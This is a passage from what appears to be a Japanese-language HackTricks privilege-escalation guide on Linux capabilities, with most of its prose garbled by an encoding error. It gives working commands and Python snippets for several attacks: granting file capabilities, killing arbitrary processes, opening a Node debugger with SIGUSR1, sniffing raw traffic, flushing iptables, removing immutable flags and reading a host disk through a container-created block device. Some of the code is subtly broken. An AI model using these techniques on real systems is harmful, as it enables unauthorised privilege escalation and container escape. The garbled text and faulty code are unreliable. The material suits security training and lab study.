path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7
Warning
æ°ããèœåããã€ããªã«CAP_SETFCAPã§èšå®ãããšããã®èœåã倱ãããšã«æ³šæããŠãã ããã
SETUID capabilityãååŸãããšããã®ã»ã¯ã·ã§ã³ã«ç§»åããŠç¹æš©ãææ Œãããæ¹æ³ã確èªã§ããŸãã
ç°å¢ã®äŸïŒDockerãã¬ã€ã¯ã¢ãŠãïŒ
ããã©ã«ãã§ã¯ãèœåCAP_SETFCAPã¯Dockerå ã®ããã»ã¹ã«äžããããŸããããã確èªããã«ã¯ã次ã®ãããªããšãè¡ããŸã:
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
ãã®èœåã¯ãã€ããªã«ä»ã®ä»»æã®èœåãäžããããšãå¯èœã«ãããããç§ãã¡ã¯ãã®ããŒãžã§èšåãããŠããä»ã®èœåã®ãã¬ã€ã¯ã¢ãŠããæªçšããŠã³ã³ããããè±åºããããšãèããããšãã§ããŸãã
ããããäŸãã°gdbãã€ããªã«CAP_SYS_ADMINãšCAP_SYS_PTRACEã®èœåãäžããããšãããšãããããäžããããšã¯ã§ããŸããããã®åŸãã€ããªã¯å®è¡ã§ããªããªããŸã:
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
From the docs: Permitted: ããã¯ã¹ã¬ãããä»®å®ã§ããæå¹ãªèœåã®å¶éãããã¹ãŒããŒã»ããã§ãããŸããCAP_SETPCAPèœåãæå¹ãªã»ããã«æããªãã¹ã¬ããã«ãã£ãŠç¶æ¿å¯èœãªã»ããã«è¿œå ã§ããèœåã®å¶éãããã¹ãŒããŒã»ããã§ããããŸãã
Permitted capabilitiesã¯äœ¿çšã§ãããã®ãå¶éããŠããããã§ãã
ããããDockerã¯ããã©ã«ãã§CAP_SETPCAPãä»äžãããããç¶æ¿å¯èœãªãã®ã®äžã«æ°ããèœåãèšå®ã§ãããããããŸããã
ãããããã®èœåã®ããã¥ã¡ã³ãã«ã¯æ¬¡ã®ããã«èšèŒãããŠããŸã: CAP_SETPCAP : [âŠ] åŒã³åºãã¹ã¬ããã®ããŠã³ãã£ã³ã°ã»ãããããã®ç¶æ¿å¯èœãªã»ããã«ä»»æã®èœåã远å ããŸãã
ã€ãŸããCAP_SYS_ADMINãCAP_SYS_PTRACEã®ãããªæ°ããèœåãç¶æ¿ã»ããã«è¿œå ããããšã¯ã§ããªããšããããšã§ãã
CAP_SYS_RAWIO
CAP_SYS_RAWIOã¯ã/dev/memã/dev/kmemããŸãã¯/proc/kcoreãžã®ã¢ã¯ã»ã¹ãmmap_min_addrã®å€æŽãioperm(2)ããã³iopl(2)ã·ã¹ãã ã³ãŒã«ãžã®ã¢ã¯ã»ã¹ãããŸããŸãªãã£ã¹ã¯ã³ãã³ããå«ãå€ãã®ã»ã³ã·ãã£ããªæäœãæäŸããŸãããã®èœåãä»ããŠFIBMAP ioctl(2)ãæå¹ã«ãªã£ãŠãããéå»ã«åé¡ãåŒãèµ·ãããããšããããŸããããã¥ã¢ã«ããŒãžã«ããã°ãããã«ããä¿æè
ã¯ä»ã®ããã€ã¹ã«å¯ŸããŠããã€ã¹åºæã®æäœãå®è¡ããããšãã§ããŸãã
ããã¯ç¹æš©ææ ŒãDockerãã¬ã€ã¯ã¢ãŠãã«åœ¹ç«ã¡ãŸãã
CAP_KILL
ããã¯ãä»»æã®ããã»ã¹ãçµäºãããããšãå¯èœã§ããããšãæå³ããŸãã
ãã€ããªã®äŸ
pythonãã€ããªããã®èœåãæã£ãŠãããšä»®å®ããŸãããããããµãŒãã¹ããœã±ããã®èšå®ïŒãŸãã¯ãµãŒãã¹ã«é¢é£ããä»»æã®èšå®ãã¡ã€ã«ïŒã倿Žã§ãããªããããã¯ãã¢ã仿ãããã®ãµãŒãã¹ã«é¢é£ããããã»ã¹ãçµäºãããŠãæ°ããèšå®ãã¡ã€ã«ãããã¯ãã¢ã§å®è¡ãããã®ãåŸ
ã€ããšãã§ããŸãã
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
Privesc with kill
ããããªããkillæš©éãæã£ãŠããŠãrootãšããŠå®è¡ãããŠããnodeããã°ã©ã ïŒãŸãã¯å¥ã®ãŠãŒã¶ãŒãšããŠïŒãèŠã€ããå ŽåãSIGUSR1ä¿¡å·ãéä¿¡ããŠãnodeãããã¬ãŒãéãããããšãã§ãããããããŸããã
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
Node inspector/CEF debug abuse
CAP_NET_BIND_SERVICE
ããã¯ãç¹æš©ããŒããå«ãä»»æã®ããŒãã§ãªãã¹ã³ã§ããããšãæå³ããŸãã ãã®èœåã䜿ã£ãŠçŽæ¥ç¹æš©ãææ Œãããããšã¯ã§ããŸããã
ãã€ããªã®äŸ
ãã**python**ããã®èœåãæã£ãŠããã°ãä»»æã®ããŒãã§ãªãã¹ã³ã§ããããã«ããããä»ã®ããŒãã«æ¥ç¶ããããšãã§ããŸãïŒããã€ãã®ãµãŒãã¹ã¯ç¹å®ã®ç¹æš©ããŒãããã®æ¥ç¶ãå¿
èŠãšããŸãïŒã
import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)
CAP_NET_RAW
CAP_NET_RAW æš©éã¯ãããã»ã¹ã RAW ããã³ PACKET ãœã±ãããäœæ ã§ããããšãèš±å¯ããä»»æã®ãããã¯ãŒã¯ãã±ãããçæããã³éä¿¡ã§ããããã«ããŸããããã«ããããã±ããã®åœè£ ããã©ãã£ãã¯ã®æ³šå ¥ããããã¯ãŒã¯ã¢ã¯ã»ã¹å¶åŸ¡ã®åé¿ãªã©ãã³ã³ããåãããç°å¢ã«ãããã»ãã¥ãªãã£ãªã¹ã¯ãçããå¯èœæ§ããããŸããæªæã®ããè¡çºè ã¯ããããå©çšããŠã³ã³ããã®ã«ãŒãã£ã³ã°ã«å¹²æžããããç¹ã«é©åãªãã¡ã€ã¢ãŠã©ãŒã«ä¿è·ããªãå Žåã«ãã¹ãã®ãããã¯ãŒã¯ã»ãã¥ãªãã£ã䟵害ããå¯èœæ§ããããŸããããã«ãCAP_NET_RAW ã¯ãRAW ICMP ãªã¯ãšã¹ããä»ã㊠ping ãªã©ã®æäœããµããŒãããããã«ç¹æš©ã³ã³ããã«ãšã£ãŠéèŠã§ãã
ããã¯ããã©ãã£ãã¯ãã¹ãããã£ã³ã°ããããšãå¯èœã§ããããšãæå³ããŸãã ãã®æš©éã䜿çšããŠçŽæ¥ç¹æš©ãææ Œãããããšã¯ã§ããŸããã
ãã€ããªã®äŸ
ãã€ã㪠tcpdump ããã®æš©éãæã£ãŠããå Žåããããã¯ãŒã¯æ
å ±ããã£ããã£ããããã«äœ¿çšã§ããŸãã
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
泚æããŠãã ãããããç°å¢ããã®èœåãäžããŠããå Žåã**tcpdump**ã䜿çšããŠãã©ãã£ãã¯ãã¹ãããã£ã³ã°ããããšãã§ããŸãã
ãã€ããª2ã®äŸ
以äžã®äŸã¯ãâloâïŒlocalhostïŒã€ã³ã¿ãŒãã§ãŒã¹ã®ãã©ãã£ãã¯ãã€ã³ã¿ãŒã»ããããã®ã«åœ¹ç«ã€**python2**ã³ãŒãã§ãããã®ã³ãŒãã¯ãhttps://attackdefense.pentesteracademy.com/ã®ã©ãâThe Basics: CAP-NET_BIND + NET_RAWâããã®ãã®ã§ãã
import socket
import struct
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1
CAP_NET_ADMIN + CAP_NET_RAW
CAP_NET_ADMIN æš©éã¯ãä¿æè ã« ãããã¯ãŒã¯èšå®ã倿Žãã æš©éãä»äžããŸããããã«ã¯ããã¡ã€ã¢ãŠã©ãŒã«èšå®ãã«ãŒãã£ã³ã°ããŒãã«ããœã±ããã®æš©éãããã³å ¬éããããããã¯ãŒã¯åå空éå ã®ãããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹èšå®ãå«ãŸããŸãããŸãããããã¯ãŒã¯ã€ã³ã¿ãŒãã§ãŒã¹ã§ ãããã¹ãã£ã¹ã¢ãŒã ãæå¹ã«ããåå空éãè¶ãããã±ããã¹ãããã£ã³ã°ãå¯èœã«ããŸãã
ãã€ããªã®äŸ
python ãã€ã㪠ããããã®æš©éãæã£ãŠãããšä»®å®ããŸãããã
#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
CAP_LINUX_IMMUTABLE
ããã¯inode屿§ã倿Žã§ããããšãæå³ããŸãã ãã®èœåã䜿ã£ãŠç¹æš©ãçŽæ¥ææ Œãããããšã¯ã§ããŸããã
ãã€ããªã®äŸ
ãã¡ã€ã«ãäžå€ã§ãããpythonããã®èœåãæã£ãŠããããšãããã£ãå Žåãäžå€å±æ§ãåé€ããŠãã¡ã€ã«ã倿Žå¯èœã«ããããšãã§ããŸãïŒ
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
Tip
éåžžããã®äžå€å±æ§ã¯æ¬¡ã®ããã«èšå®ããã³åé€ãããŸãïŒ
sudo chattr +i file.txt sudo chattr -i file.txt
CAP_SYS_CHROOT
CAP_SYS_CHROOT ã¯ãchroot(2) ã·ã¹ãã ã³ãŒã«ã®å®è¡ãå¯èœã«ããæ¢ç¥ã®è匱æ§ãéã㊠chroot(2) ç°å¢ããã®è±åºãèš±å¯ããå¯èœæ§ããããŸãïŒ
CAP_SYS_BOOT
CAP_SYS_BOOT ã¯ãç¹å®ã®ããŒããŠã§ã¢ãã©ãããã©ãŒã åãã«èª¿æŽããã LINUX_REBOOT_CMD_RESTART2 ã®ãããªç¹å®ã®ã³ãã³ããå«ãã·ã¹ãã åèµ·åã®ããã® reboot(2) ã·ã¹ãã ã³ãŒã«ã®å®è¡ãèš±å¯ããã ãã§ãªããkexec_load(2) ã®äœ¿çšãå¯èœã«ããLinux 3.17 以éã¯æ°ãããŸãã¯çœ²åãããã¯ã©ãã·ã¥ã«ãŒãã«ãããããèªã¿èŸŒãããã® kexec_file_load(2) ãæå¹ã«ããŸãã
CAP_SYSLOG
CAP_SYSLOG ã¯ãLinux 2.6.37 ã§ããåºç¯ãª CAP_SYS_ADMIN ããåé¢ãããsyslog(2) ã³ãŒã«ã䜿çšããèœåãç¹ã«ä»äžããŸããããã®æ©èœã«ãããkptr_restrict èšå®ã 1 ã®ãšãã« /proc ãé¡äŒŒã®ã€ã³ã¿ãŒãã§ãŒã¹ãä»ããŠã«ãŒãã«ã¢ãã¬ã¹ã衚瀺ããããšãå¯èœã«ãªããŸããLinux 2.6.39 以éãkptr_restrict ã®ããã©ã«ã㯠0 ã§ãããã«ãŒãã«ã¢ãã¬ã¹ãå
¬éãããŸãããå€ãã®ãã£ã¹ããªãã¥ãŒã·ã§ã³ã¯ã»ãã¥ãªãã£äžã®çç±ããããã 1ïŒuid 0 以å€ããã¢ãã¬ã¹ãé ãïŒãŸã㯠2ïŒåžžã«ã¢ãã¬ã¹ãé ãïŒã«èšå®ããŠããŸãã
ããã«ãCAP_SYSLOG ã¯ãdmesg_restrict ã 1 ã«èšå®ãããŠãããšãã« dmesg åºåã«ã¢ã¯ã»ã¹ããããšãèš±å¯ããŸãããããã®å€æŽã«ãããããããCAP_SYS_ADMIN ã¯æŽå²çãªåäŸã«ãã syslog æäœãå®è¡ããèœåãä¿æããŠããŸãã
CAP_MKNOD
CAP_MKNOD ã¯ãéåžžã®ãã¡ã€ã«ãFIFOïŒååä»ããã€ãïŒããŸã㯠UNIX ãã¡ã€ã³ãœã±ããã®äœæãè¶
ã㊠mknod ã·ã¹ãã ã³ãŒã«ã®æ©èœãæ¡åŒµããŸããç¹ã«ã次ã®ãããªç¹å¥ãªãã¡ã€ã«ã®äœæãèš±å¯ããŸãïŒ
- S_IFCHR: 端æ«ã®ãããªããã€ã¹ã§ãããã£ã©ã¯ã¿ç¹æ®ãã¡ã€ã«ã
- S_IFBLK: ãã£ã¹ã¯ã®ãããªããã€ã¹ã§ãããããã¯ç¹æ®ãã¡ã€ã«ã
ãã®æ©èœã¯ãããã€ã¹ãã¡ã€ã«ãäœæããèœåãå¿ èŠãšããããã»ã¹ã«ãšã£ãŠäžå¯æ¬ ã§ããããã£ã©ã¯ã¿ãŸãã¯ãããã¯ããã€ã¹ãä»ããŠçŽæ¥ããŒããŠã§ã¢ãšå¯Ÿè©±ããããšã容æã«ããŸãã
ããã¯ããã©ã«ãã® Docker æ©èœã§ã (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)ã
ãã®æ©èœã¯ãæ¬¡ã®æ¡ä»¶äžã§ãã¹ãäžã§ç¹æš©ææ ŒïŒãã«ãã£ã¹ã¯èªã¿åããéããŠïŒãè¡ãããšãèš±å¯ããŸãïŒ
- ãã¹ããžã®åæã¢ã¯ã»ã¹ãæã£ãŠããïŒç¹æš©ãªãïŒã
- ã³ã³ãããžã®åæã¢ã¯ã»ã¹ãæã£ãŠããïŒç¹æš©ããïŒEUID 0ïŒãããã³æå¹ãª
CAP_MKNODïŒã - ãã¹ããšã³ã³ããã¯åããŠãŒã¶ãŒåå空éãå ±æããå¿ èŠããããŸãã
ã³ã³ããå ã§ãããã¯ããã€ã¹ãäœæããã³ã¢ã¯ã»ã¹ããæé ïŒ
- ãã¹ãäžã§æšæºãŠãŒã¶ãŒãšããŠïŒ
idã§çŸåšã®ãŠãŒã¶ãŒ ID ã確èªããŸããäŸïŒuid=1000(standarduser)ã- 察象ããã€ã¹ãç¹å®ããŸããäŸïŒ
/dev/sdbã
- ã³ã³ããå
ã§
rootãšããŠïŒ
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
- ãã¹ãã«æ»ã:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
ãã®ã¢ãããŒãã«ãããæšæºãŠãŒã¶ãŒã¯ã³ã³ãããéã㊠/dev/sdb ã«ã¢ã¯ã»ã¹ããããŒã¿ãèªã¿åãå¯èœæ§ããããŸããããã¯ãå
±æãŠãŒã¶ãŒåå空éãšããã€ã¹ã«èšå®ãããæš©éãå©çšããŠããŸãã
CAP_SETPCAP
CAP_SETPCAP ã¯ãããã»ã¹ãä»ã®ããã»ã¹ã® èœåã»ããã倿Žãã ããšãå¯èœã«ãã广çãç¶æ¿å¯èœãèš±å¯ãããã»ããããã®èœåã®è¿œå ãŸãã¯åé€ãèš±å¯ããŸãããã ããããã»ã¹ã¯èªåã®èš±å¯ãããã»ããã«ååšããèœåã®ã¿ã倿Žã§ãããããä»ã®ããã»ã¹ã®ç¹æš©ãèªåã®ãã®ä»¥äžã«åŒãäžããããšã¯ã§ããŸãããæè¿ã®ã«ãŒãã«ã®æŽæ°ã«ããããããã®ã«ãŒã«ã峿 ŒåãããCAP_SETPCAP ã¯èªåèªèº«ãŸãã¯ãã®åå«ã®èš±å¯ãããã»ããå
ã®èœåãæžå°ãããããšã®ã¿ãèš±å¯ããããå¶éãããŠããŸããããã¯ãã»ãã¥ãªãã£ãªã¹ã¯ã軜æžããããšãç®çãšããŠããŸãã䜿çšããã«ã¯ã广çãªã»ããã« CAP_SETPCAP ãæã¡ãã¿ãŒã²ããã®èœåãèš±å¯ãããã»ããã«æã£ãŠããå¿
èŠããããcapset() ã䜿çšããŠå€æŽãè¡ããŸããããã CAP_SETPCAP ã®æ žå¿çãªæ©èœãšå¶éãèŠçŽããŠãããç¹æš©ç®¡çãšã»ãã¥ãªãã£åŒ·åã«ããããã®åœ¹å²ã匷調ããŠããŸãã
CAP_SETPCAP ã¯ãããã»ã¹ãä»ã®ããã»ã¹ã® èœåã»ããã倿Žãã ããšãå¯èœã«ããLinuxã®èœåã§ããä»ã®ããã»ã¹ã®å¹æçãç¶æ¿å¯èœãèš±å¯ãããèœåã»ããããèœåã远å ãŸãã¯åé€ããèœåãä»äžããŸãããã ãããã®èœåã®äœ¿ç𿹿³ã«ã¯ç¹å®ã®å¶éããããŸãã
CAP_SETPCAP ãæã€ããã»ã¹ã¯ãèªåã®èš±å¯ãããèœåã»ããã«ããèœåã®ã¿ãä»äžãŸãã¯åé€ã§ããŸããèšãæããã°ãããã»ã¹ã¯èªåãæã£ãŠããªãèœåãä»ã®ããã»ã¹ã«ä»äžããããšã¯ã§ããŸããããã®å¶éã«ãããããã»ã¹ã¯ä»ã®ããã»ã¹ã®ç¹æš©ãèªåã®ç¹æš©ã¬ãã«ä»¥äžã«åŒãäžããããšãã§ããªããªããŸãã
ããã«ãæè¿ã®ã«ãŒãã«ããŒãžã§ã³ã§ã¯ãCAP_SETPCAP ã®èœåã ããã«å¶éãããŸããããã¯ãããã»ã¹ãä»ã®ããã»ã¹ã®èœåã»ãããæ£æçã«å€æŽããããšã¯èš±å¯ãããŠããŸããã代ããã«ãèªåã®èš±å¯ãããèœåã»ãããŸãã¯ãã®åå«ã®èš±å¯ãããèœåã»ããå
ã®èœåãäžããããšã®ã¿ãèš±å¯ããŸãããã®å€æŽã¯ãèœåã«é¢é£ããæœåšçãªã»ãã¥ãªãã£ãªã¹ã¯ãæžå°ãããããã«å°å
¥ãããŸããã
CAP_SETPCAP ã广çã«äœ¿çšããã«ã¯ã广çãªèœåã»ããã«ãã®èœåãæã¡ãã¿ãŒã²ããã®èœåãèš±å¯ãããèœåã»ããã«æã£ãŠããå¿
èŠããããŸãããã®åŸãcapset() ã·ã¹ãã ã³ãŒã«ã䜿çšããŠä»ã®ããã»ã¹ã®èœåã»ããã倿Žã§ããŸãã
èŠçŽãããšãCAP_SETPCAP ã¯ããã»ã¹ãä»ã®ããã»ã¹ã®èœåã»ããã倿Žããããšãå¯èœã«ããŸãããèªåãæã£ãŠããªãèœåãä»äžããããšã¯ã§ããŸãããããã«ãã»ãã¥ãªãã£äžã®æžå¿µããããã®æ©èœã¯æè¿ã®ã«ãŒãã«ããŒãžã§ã³ã§å¶éãããèªåã®èš±å¯ãããèœåã»ãããŸãã¯ãã®åå«ã®èš±å¯ãããèœåã»ããå
ã®èœåãæžå°ãããããšã®ã¿ãèš±å¯ãããŠããŸãã
References
ãããã®äŸã®ã»ãšãã©ã¯ https://attackdefense.pentesteracademy.com/ ã®ããã€ãã®ã©ãããåããããã®ã§ãã®ã§ããããã®ç¹æš©ææ Œæè¡ãç·Žç¿ãããå Žåã¯ããããã®ã©ãããå§ãããŸãã
ãã®ä»ã®åèæç®:
- https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux
- https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.
- https://linux-audit.com/linux-capabilities-101/
- https://www.linuxjournal.com/article/5737
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module
- https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot
â
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


